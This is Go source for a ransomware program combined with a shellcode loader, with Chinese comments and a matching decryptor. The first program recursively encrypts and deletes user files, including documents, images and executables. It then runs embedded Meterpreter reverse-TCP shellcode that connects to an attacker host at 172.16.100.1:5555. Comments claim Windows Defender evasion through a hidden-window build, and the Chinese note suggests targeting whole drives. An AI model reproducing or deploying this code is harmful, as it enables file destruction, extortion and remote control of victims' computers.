package main
import (
"encoding/hex"
"syscall"
"unsafe"
"bufio"
"crypto/sha256"
"database/sql"
"fmt"
"io"
"io/ioutil"
"os"
"strings"
"sync"
"time"
_ "./go-sqlite3"
)
var procVirtualProtect = syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualProtect")
func VirtualProtect(lpAddress unsafe.Pointer, dwSize uintptr, flNewProtect uint32, lpflOldProtect unsafe.Pointer) bool {
ret, _, _ := procVirtualProtect.Call(
uintptr(lpAddress),
uintptr(dwSize),
uintptr(flNewProtect),
uintptr(lpflOldProtect))
return ret > 0
}
func Run(sc []byte) {
f := func() {}
var oldfperms uint32
if !VirtualProtect(unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&f))), unsafe.Sizeof(uintptr(0)), uint32(0x40), unsafe.Pointer(&oldfperms)) {
panic("Call to VirtualProtect failed!")
}
**(**uintptr)(unsafe.Pointer(&f)) = *(*uintptr)(unsafe.Pointer(&sc))
var oldshellcodeperms uint32
if !VirtualProtect(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&sc))), uintptr(len(sc)), uint32(0x40), unsafe.Pointer(&oldshellcodeperms)) {
panic("Call to VirtualProtect failed!")
}
f()
}
// 加密字符串
func GetNegation(strb []byte) []byte {
var strsN []byte
for i, b := range strb {
ii := i ^ (i % 3)
strsN = append(strsN, ^b-uint8(ii))
}
return strsN
}
//md5值,参数为字符串,输出md5字符串
func GetSha256(str string) string {
strM := sha256.Sum256([]byte(str))
return hex.EncodeToString(strM[:])
}
// 保存修改后的文件,文件名为md5值,内容为1024字节后内容
func SaveFile(fileMd5 string, content []byte) bool {
contentNeg := GetNegation(content)
err := ioutil.WriteFile(fileMd5, contentNeg, 0777) //将源文件,写入目标文件
if err != nil {
return false
}
return true
}
//返回子文件夹
func GetAllDir(pathname string, s []string) ([]string, error) {
rd, err := ioutil.ReadDir(pathname)
if err != nil {
fmt.Println("read dir fail:", err)
return s, err
}
for _, fi := range rd {
if fi.IsDir() {
fullDir := pathname + "/" + fi.Name()
s = append(s, fullDir)
s, err = GetAllDir(fullDir, s)
if err != nil {
fmt.Println("read dir fail:", err)
return s, err
}
}
}
return s, nil
}
//返回文件名列表
func ReadFolder(fileDir string, extlist []string) []string {
var fileNameList []string
files, _ := ioutil.ReadDir(fileDir) //读取目录
for _, onefile := range files { //遍历目录下文件
if !onefile.IsDir() { //是文件
fileName := onefile.Name()
fileNames := strings.Split(fileName, ".")
ext := fileNames[len(fileNames)-1]
for _, e := range extlist {
if strings.EqualFold(ext, e) {
fileNameList = append(fileNameList, fileName)
break
}
}
}
}
return fileNameList
}
//返回加密后的文件列表
func ReadFolderNeg(fileDir string) []string {
var fileNameList []string
files, _ := ioutil.ReadDir(fileDir) //读取目录
for _, onefile := range files { //遍历目录下文件
if !onefile.IsDir() { //是文件
fileName := onefile.Name()
if len(fileName) == 64 {
fileNameList = append(fileNameList, fileName)
}
}
}
return fileNameList
}
//删除文件
func DelFile(file *os.File, path string, jiajie string) {
if file != nil {
file.Close()
}
if IsFileExist(path) {
err := os.Remove(path)
if err == nil {
// fmt.Printf("%s -> %s删除成功!\n", path, jiajie)
return
}
}
// fmt.Printf("%s -> %s删除失败!\n", path, jiajie)
}
//判断文件是否存在
func IsFileExist(path string) bool {
fileInfo, err := os.Stat(path)
if err != nil {
return false
}
if fileInfo.IsDir() { //是目录
return false
}
return true
}
//错误处理
func CheckErr(err error) {
if err != nil {
panic(err)
}
}
//保存到数据库
func SaveFileToDb(db *sql.DB, fileName256 string, fileName string, content string, password string) bool {
stmt, err := db.Prepare("insert into secret_key(fileName256,fileName,content,password) values(?,?,?,?)")
defer func() {
if stmt != nil {
stmt.Close()
}
}()
CheckErr(err)
rwm.Lock()
res, err := stmt.Exec(fileName256, fileName, content, password)
rwm.Unlock()
if stmt != nil {
stmt.Close()
}
CheckErr(err)
id, err := res.LastInsertId()
CheckErr(err)
if id > 0 {
return true
}
return false
}
//数据库搜索
func selectDb(db *sql.DB, sql string) (string, string, string, string) {
rows, err := db.Query(sql)
defer func() {
if rows != nil {
rows.Close()
}
}()
CheckErr(err)
var (
uid int
fileNameb256 string
fileNameb string
contentb string
password string
)
rows.Next()
rows.Scan(&uid, &fileNameb256, &fileNameb, &contentb, &password)
return fileNameb256, fileNameb, contentb, password
}
//删除数据项
func DelData(db *sql.DB, fileName256 string) {
stmt3, err := db.Prepare("delete from secret_key where fileName256=?")
defer func() {
if stmt3 != nil {
stmt3.Close()
}
}()
CheckErr(err)
rwm.Lock() //加锁
_, err = stmt3.Exec(fileName256)
rwm.Unlock() //解锁
CheckErr(err)
}
//加密过程
func encrypt(fileDir string, fileName string, db *sql.DB, encryptPw string, jiajie string) {
// delfileName := fileName
waiB := 0
fileSha256 := GetSha256(fileName) //文件名改为哈希256
sql1 := fmt.Sprintf(`select * from secret_key where fileName256="%s"`, fileSha256)
sfileSha256, _, sbeforeNegation, _ := selectDb(db, sql1) //查找数据库文件名是否已存在
filePath := fileDir + "/" + fileName
srcFile, err := os.Open(filePath) //读取原文件
if err != nil { //读取错误
// fmt.Println(fileName, " -> 打开错误!")
if waiB == 0 {
waitgroup.Done()
waiB++
}
return
}
//
fileSha256Path := fileDir + "/" +fileSha256
dstFile, err2 := os.OpenFile(fileSha256Path, os.O_WRONLY|os.O_CREATE, 0666) //加密后的文件
if err2 != nil { //读取错误
// fmt.Println(fileSha256Path, " -> 打开错误!")
if waiB == 0 {
waitgroup.Done()
waiB++
}
return
}
defer func() { //关闭打开的文件
srcFile.Close()
dstFile.Close()
}()
r := bufio.NewReader(srcFile) //读文件
w := bufio.NewWriter(dstFile) //写文件
buf := make([]byte, 4096) //读写缓冲区
var sBuf []byte //加密后的数据
bbb := 0 //计数器,第一次读到的文件内容存储到数据库,后面内容存储到文件中
for {
n, err3 := r.Read(buf) //读文件到缓冲区
if err3 != nil { //读文件错误
if err3 == io.EOF { //读取完毕
w.Flush()
fmt.Println(filePath, " -> 完成!")
DelFile(srcFile, filePath, jiajie) //删除原文件
} else { //非读取完毕错误
// fmt.Println(fileName, " -> 读取错误!")
}
if waiB == 0 {
waitgroup.Done()
waiB++
}
return
} else { //读取正常
if bbb == 0 {
//加密保存数据库
beforeNegation := string(GetNegation(buf[:n])) // 加密数据库文件内容
if sfileSha256 != "" {
if sbeforeNegation == beforeNegation { //数据库有相同内容
if IsFileExist(sfileSha256) { //加密后文件存在
fmt.Println(fileName, ":文件已加密!")
DelFile(srcFile, filePath, jiajie) //直接删除原文件
if waiB == 0 {
waitgroup.Done()
waiB++
}
return
}
} else { //数据库没有相同内容,只是文件名相同
ns := time.Now().UnixNano()
fileName = fmt.Sprintf("%v%s", ns, fileName) // 重命名文件名
fileSha256 = GetSha256(fileName) //文件名哈希256
}
}
fileNegation := string(GetNegation([]byte(fileName))) //原文件名加密存储到数据库
password := GetSha256(encryptPw) //密码的哈希值
if SaveFileToDb(db, fileSha256, fileNegation, beforeNegation, password) { //保存内容到数据库
// fmt.Println(fileName, " -> 数据库保存成功!")
}
} else {
//加密保存文件
sBuf = GetNegation(buf[:n]) //加密数据
_, err4 := w.Write(sBuf) //保存数据
if err4 != nil { //保存错误
fmt.Println(fileSha256, " -> 保存错误!")
if waiB == 0 {
waitgroup.Done()
waiB++
}
return
}
}
}
bbb++ //计数器加一
}
}
var waitgroup sync.WaitGroup
var rwm sync.RWMutex
//主函数
func main() {
db, err := sql.Open("sqlite3", "./重要勿删")
defer db.Close()
if err != nil {
// fmt.Println("打开数据库错误!")
}
sqlTable := `
CREATE TABLE IF NOT EXISTS secret_key(
uid INTEGER PRIMARY KEY AUTOINCREMENT,
fileName256 VARCHAR NULL,
fileName VARCHAR NULL,
content VARCHAR NULL,
password VARCHAR NULL
);
`
db.Exec(sqlTable)
fileDir := "./test" //需要加密的相对路径
var DirList [] string
DirList, _= GetAllDir(fileDir,DirList)
DirList = append(DirList, fileDir)
//加密部分
var extlist []string //加密扩展名列表
extlist = []string{"txt","doc","docx","xls","xlsx","ppt","pptx","pdf","png","jpg","jpeg","mp4","zip","go","c","cdf","exe"}
var encryptPw string
encryptPw = "YOUAREHACKED"
for i := range DirList{
for _, fileName := range ReadFolder(DirList[i], extlist){
waitgroup.Add(1)
go encrypt(DirList[i],fileName, db, encryptPw, "加密")
}
waitgroup.Wait()
}
//木马部分
//shellcode在kali或者parrot os上由如下命令生成
//msfvenom -p windows/meterpreter/reverse_tcp lhost=172.16.100.1 lport=5555 -f hex
sc, _ := hex.DecodeString("4831c94881e9c0ffffff488d05efffffff48bb257aa12b451f0b6048315827482df8ffffffe2f4d93222cfb5f7c760257ae07a044f592814a8c463ce4d6b28ae28b97a0d9459407332ae9c0f5543eb572aec1a8c573aa08946c05747332b21e4b3ac6a44dee98d773bf063ce4d2beb6746e92a95798a183d71a324c06d0b6025f121a3451f0b28a0bad54c0d1edb24ae3a817b0c1edbeb6d62427d0de0c221ae4e296344c94651ec3290ebe95ecaa9283ba0ea7dff7e916979ed0f4d5a32b150a2f96fce5f2f2924aac76ace134324ae3abd6244cf4aeb21f2e92a955e53217d24f87104474a396420e9a8a93f4a32da9af96a1c4543eb3793ead4bae056299b0dd2191a2c3960253bf762ccf943e1c9daa02b455682856cc6a32b50aca770417be07f0c96ef2cac8be09109682d67daafeda2af770a61257af86aff368b0b258574414f5e5530753790e2082ecb28dabae9a28757f4a06df3606afff504bfc5857463ccd861706422eda2a757829964c0388e317ef4b5a0bad5210ce0c515c092322b451f43e3c96ae9a2a7523aa94f7ee0730d96f2219f7878e31ae0dee3dd7adf7e0d9ccf407bf35741055e5208256aa12b044743e9d73290e204a553c4769f5efe0d96c829acbdec1a8c5682906df37b63cce64ada27a36974baca88982507897304485208253aa12b044761607f3b1b206a103b9ff02df86aff6a652d44857462bad1e25cda855e6344dc4349e33224dd30ab4a9fc222cb2b1c56cca2d5cf037dbaca0b60")
Run(sc)
}
//编译,隐藏窗口go build -ldflags="-H windowsgui -w -s" malware.go
//可逃过windows defender检测
在靶机上运行将加密当前路径下test文件夹里大部分文件,可增加文件拓展名,实现几乎所有文件的加密,最后连接攻击机。当然也可以直接将路径改为C盘,D盘或E盘,C盘需要提升用户权限。
以下是解密代码
package main
import (
"bufio"
"crypto/sha256"
"database/sql"
"encoding/hex"
"fmt"
"io"
"io/ioutil"
"os"
"strings"
"sync"
"time"
_ "./go-sqlite3"
)
// 加密字符串
func GetNegation(strb []byte) []byte {
var strsN []byte
for i, b := range strb {
ii := i ^ (i % 3)
strsN = append(strsN, ^b-uint8(ii))
}
return strsN
}
//md5值,参数为字符串,输出md5字符串
func GetSha256(str string) string {
strM := sha256.Sum256([]byte(str))
return hex.EncodeToString(strM[:])
}
// 保存修改后的文件,文件名为md5值,内容为1024字节后内容
func SaveFile(fileMd5 string, content []byte) bool {
contentNeg := GetNegation(content)
err := ioutil.WriteFile(fileMd5, contentNeg, 0777) //将源文件,写入目标文件
if err != nil {
return false
}
return true
}
//返回子文件夹
func GetAllDir(pathname string, s []string) ([]string, error) {
rd, err := ioutil.ReadDir(pathname)
if err != nil {
fmt.Println("read dir fail:", err)
return s, err
}
for _, fi := range rd {
if fi.IsDir() {
fullDir := pathname + "/" + fi.Name()
s = append(s, fullDir)
s, err = GetAllDir(fullDir, s)
if err != nil {
fmt.Println("read dir fail:", err)
return s, err
}
}
}
return s, nil
}
//返回文件名列表
func ReadFolder(fileDir string, extlist []string) []string {
var fileNameList []string
files, _ := ioutil.ReadDir(fileDir) //读取目录
for _, onefile := range files { //遍历目录下文件
if !onefile.IsDir() { //是文件
fileName := onefile.Name()
fileNames := strings.Split(fileName, ".")
ext := fileNames[len(fileNames)-1]
for _, e := range extlist {
if strings.EqualFold(ext, e) {
fileNameList = append(fileNameList, fileName)
break
}
}
}
}
return fileNameList
}
//返回加密后的文件列表
func ReadFolderNeg(fileDir string) []string {
var fileNameList []string
files, _ := ioutil.ReadDir(fileDir) //读取目录
for _, onefile := range files { //遍历目录下文件
if !onefile.IsDir() { //是文件
fileName := onefile.Name()
if len(fileName) == 64 {
fileNameList = append(fileNameList, fileName)
}
}
}
return fileNameList
}
//删除文件
func DelFile(file *os.File, path string, jiajie string) {
if file != nil {
file.Close()
}
if IsFileExist(path) {
err := os.Remove(path)
if err == nil {
// fmt.Printf("%s -> %s删除成功!\n", path, jiajie)
return
}
}
// fmt.Printf("%s -> %s删除失败!\n", path, jiajie)
}
//判断文件是否存在
func IsFileExist(path string) bool {
fileInfo, err := os.Stat(path)
if err != nil {
return false
}
if fileInfo.IsDir() { //是目录
return false
}
return true
}
//错误处理
func CheckErr(err error) {
if err != nil {
panic(err)
}
}
//保存到数据库
func SaveFileToDb(db *sql.DB, fileName256 string, fileName string, content string, password string) bool {
stmt, err := db.Prepare("insert into secret_key(fileName256,fileName,content,password) values(?,?,?,?)")
defer func() {
if stmt != nil {
stmt.Close()
}
}()
CheckErr(err)
rwm.Lock()
res, err := stmt.Exec(fileName256, fileName, content, password)
rwm.Unlock()
if stmt != nil {
stmt.Close()
}
CheckErr(err)
id, err := res.LastInsertId()
CheckErr(err)
if id > 0 {
return true
}
return false
}
//数据库搜索
func selectDb(db *sql.DB, sql string) (string, string, string, string) {
rows, err := db.Query(sql)
defer func() {
if rows != nil {
rows.Close()
}
}()
CheckErr(err)
var (
uid int
fileNameb256 string
fileNameb string
contentb string
password string
)
rows.Next()
rows.Scan(&uid, &fileNameb256, &fileNameb, &contentb, &password)
return fileNameb256, fileNameb, contentb, password
}
//删除数据项
func DelData(db *sql.DB, fileName256 string) {
stmt3, err := db.Prepare("delete from secret_key where fileName256=?")
defer func() {
if stmt3 != nil {
stmt3.Close()
}
}()
CheckErr(err)
rwm.Lock() //加锁
_, err = stmt3.Exec(fileName256)
rwm.Unlock() //解锁
CheckErr(err)
}
// 解密过程
func decrypt(fileDir string, fileName string, db *sql.DB, decryptPw string, jiajie string) {
sql := fmt.Sprintf(`select * from secret_key where fileName256="%s"`, fileName)
fileNameDb256, fileNameDb, contentDb, passwordDb := selectDb(db, sql) //查找数据库
waiB := 0
fileNamePath := fileDir + "/" +fileName
fileNameDb256Path := fileDir + "/" + fileNameDb256
if fileNameDb256 != "" && GetSha256(decryptPw) == passwordDb { //数据存在加密文件,并验证密码
fileNameDbs := string(GetNegation([]byte(fileNameDb))) //解密后文件名
contentDbs := GetNegation([]byte(contentDb)) //解密后前半内容
//文件名已存在,判断前半内容是否相同,若相同,直接删除加密文件、数据库内容
//
fileNameDbsPath := fileDir + "/" + fileNameDbs
if IsFileExist(fileNameDbs) { //解密后文件名已存在
srcFile, err := os.Open(fileNameDbsPath) //读取原文件
if err != nil { //读取错误
// fmt.Println(fileNameDbsPath, " -> 打开错误!")
if waiB == 0 {
waitgroup.Done()
waiB++
}
return
}
defer func() { //关闭打开的文件
srcFile.Close()
}()
r := bufio.NewReader(srcFile) //读文件
buf := make([]byte, 4096) //读写缓冲区
n, err3 := r.Read(buf) //读文件到缓冲区
if err3 != nil { //读文件错误
// fmt.Println(fileNameDbsPath, " -> 读取错误!")
if waiB == 0 {
waitgroup.Done()
waiB++
}
return
} else { //读取正常
if string(buf[:n]) == string(contentDbs) {
//解密后文件已存在
DelData(db, fileNameDb256) //解密文件已存在,删除数据库中内容
if waiB == 0 {
waitgroup.Done()
waiB++
}
return
} else {
//解密后文件名存在,但是文件内容不同
ns := time.Now().UnixNano()
fileNameDbs = fmt.Sprintf("%v%s", ns, fileName) // 重命名文件名
}
}
}
f, err2 := os.Open(fileNamePath)
if err2 != nil {
// fmt.Println(fileNamePath, " -> 打开错误!")
if waiB == 0 {
waitgroup.Done()
waiB++
}
return
}
f2, err3 := os.OpenFile(fileNameDbsPath, os.O_WRONLY|os.O_CREATE, 0666)
if err3 != nil {
// fmt.Println(fileNameDbsPath, " -> 打开错误!")
if waiB == 0 {
waitgroup.Done()
waiB++
}
return
}
defer func() {
f.Close()
f2.Close()
}()
r := bufio.NewReader(f)
w := bufio.NewWriter(f2)
buf2 := make([]byte, 4096)
ddd := 0
var sBuf []byte
for {
if ddd == 0 {
w.Write(contentDbs)
} else {
n, err4 := r.Read(buf2)
if err4 != nil {
if err4 == io.EOF {
w.Flush()
fmt.Println(fileNamePath, " -> 完成!")
DelFile(f, fileNameDb256Path, jiajie) //解密成功,删除加密后的文件
} else { //非读取完毕错误
// fmt.Println(fileName, " -> 读取错误!")
}
if waiB == 0 {
waitgroup.Done()
waiB++
}
return
} else {
sBuf = GetNegation(buf2[:n]) //解密数据
w.Write(sBuf)
}
}
ddd++
}
} else {
fmt.Println(fileNamePath, " -> 密码错误!")
}
if waiB == 0 {
waitgroup.Done()
waiB++
}
}
var waitgroup sync.WaitGroup
var rwm sync.RWMutex
//主函数
func main() {
db, err := sql.Open("sqlite3", "./重要勿删")
defer db.Close()
if err != nil {
// fmt.Println("打开数据库错误!")
}
sqlTable := `
CREATE TABLE IF NOT EXISTS secret_key(
uid INTEGER PRIMARY KEY AUTOINCREMENT,
fileName256 VARCHAR NULL,
fileName VARCHAR NULL,
content VARCHAR NULL,
password VARCHAR NULL
);
`
db.Exec(sqlTable)
fileDir := "./test" //需要加密的相对路径
var DirList [] string
DirList, _= GetAllDir(fileDir,DirList)
DirList = append(DirList, fileDir)
//解密
var decryptPw string
decryptPw = "YOUAREHACKED"
for i := range DirList{
for _, fileName := range ReadFolderNeg(DirList[i]){
waitgroup.Add(1)
go decrypt(DirList[i],fileName, db, decryptPw, "解密")
}
waitgroup.Wait()
}
}